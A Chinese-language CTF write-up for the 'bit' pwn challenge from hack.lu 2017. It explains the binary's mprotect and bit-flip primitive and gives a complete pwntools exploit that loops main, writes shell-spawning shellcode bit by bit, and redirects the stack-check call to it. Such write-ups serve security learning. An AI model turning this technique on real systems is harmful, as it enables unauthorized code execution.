hacklu ctf 2017 pwn writeup

bit

通过静态分析我们得到一些结论

输入的参数以%lx:%u组成,即由16进制数和无符号整型组成,中间以冒号分隔

此外,在静态分析的过程中我们会发现程序调用了mprotect函数,这会意味着,我们将由条件去修改内存的权限(也许是不可执行修改为可执行)

1
2
3
4
5
6
7
text:00000000004006A7 loc_4006A7:                             ; CODE XREF: main+68↑j
.text:00000000004006A7 mov rax, cs:qword_601018
.text:00000000004006AE and rax, 0FFFFFFFFFFFF1000h
.text:00000000004006B4 mov edx, 7 ; prot
.text:00000000004006B9 mov esi, 1000h ; len
.text:00000000004006BE mov rdi, rax ; addr
.text:00000000004006C1 call _mprotect

当我们继续往下分析当时候,我们会发现一个算是逻辑漏洞当点,就是,程序会去修改已经存在于指定的地址中的值

1
2
3
4
5
6
7
8
.text:00000000004006D7                 mov     rdx, cs:qword_601018
.text:00000000004006DE movzx edx, byte ptr [rdx]
.text:00000000004006E1 mov ecx, cs:dword_601020
.text:00000000004006E7 mov edi, 1
.text:00000000004006EC shl edi, cl
.text:00000000004006EE mov ecx, edi
.text:00000000004006F0 xor edx, ecx
.text:00000000004006F2 mov [rax], dl


程序在0x400721会由一个canary 检查,检查程序是否发生栈溢出
通过checksec的检查,我们也会发现他开启了canary,nx,full relr0防护

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/media/psf/Home/MyCTF/hacklu/pwn/bit/bit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

那么我们如何去getshell呢?
题目的关键还是在那个指定地址,然后修改一位的地方,其实思路也是很简单,我们去注入shellcode在一个指定的地址,然后不断的去修改指定地址的值,直到修改到shellcode的地址,由于mprotect的作用,我们就可以获取一个shell

exploit 编写

第一步
思路,

1
2
3
.text:0000000000400721                 xor     rsi, fs:28h
.text:000000000040072A jz short locret_400731
.text:000000000040072C call ___stack_chk_fail

我们注意到40072a这个提分有个跳转,我们可以进行去patch,让他不断到跳转到main函数去


io.sendline("0x40072b:4")

第二步
当我们这个时候,我们已经能够成功不断当返回到main函数之后,我们需要在一个地方写入shellcode

我们发现0x400570是个不错到选择,因为这快基本不会被调用到

1
2
3
4
5
shellcode = asm(shellcraft.amd64.sh())
start = 0x00400570
for c in shellcode:
write_value(io, elf, start, c)
start += 1

紧接着,我们只需要重新修改40072c到shellcdoe地址就可以

1
2
3
4
5
new_call="\xe8\x3f\xfe\xff\xff"   # call 0x400570 (shellcode)
start = 0x0040072c
for c in new_call:
write_value(io, elf, start, c)
start += 1

最后伪造canary到验证
io.sendline(0x400720:0)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

def write_value(io, elf, addr, new):
# write new bytes at addr address.
new = int(new.encode('hex'), 16)
initial = elf.data[addr - 0x400000]
initial = int(initial.encode('hex'), 16)

log.info("At {}, replace {} with {}".format(hex(addr), hex(initial), hex(new)))

for bit in range(0, 8):
if (initial & (1<<bit)) != (new & (1<<bit)):
payload = "{}:{}".format(hex(addr), bit)
io.sendline(payload)

if __name__ == '__main__':
context.terminal = ['tmux','splitw','-h']
io = process('./bit')
#io = remote('flatearth.fluxfingers.net', 1744)
gdb.attach(io,'''
break *0x400713
break *0x40072a
break *0x400681
''')
elf = ELF('./bit')

pause()
# patch jmp to loop on main()
# 0x0040072a 7405 je 0x400731
io.sendline("0x40072b:4")
pause()
# write shellcode at 0x00400570
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
raw_input("make shellcode")
start = 0x00400570
for c in shellcode:
write_value(io, elf, start, c)
start += 1
raw_input("loop~~~~")

# patch callq sym.imp.__stack_chk_fail()
# 0x0040072c e8bffdffff callq sym.imp.__stack_chk_fail
# Instead we want: call 0xfffffe44 (0xfffffe44 = -444 => 0x400570)
# root@pwn:/# rasm2 'call 0xfffffe44'
# e83ffeffff
new_call="\xe8\x3f\xfe\xff\xff"
start = 0x0040072c
for c in new_call:
write_value(io, elf, start, c)
start += 1

# finally corrupt the cookie!
# 0x0040071d 488b75f8 movq local_8h, %rsi
# 0x00400721 644833342528. xorq %fs:0x28, %rsi
# byte:0xf8 value:0 result:0xf9
# Instead we want:
# movq local_7h, %rsi
io.sendline("0x400720:0")

# shell!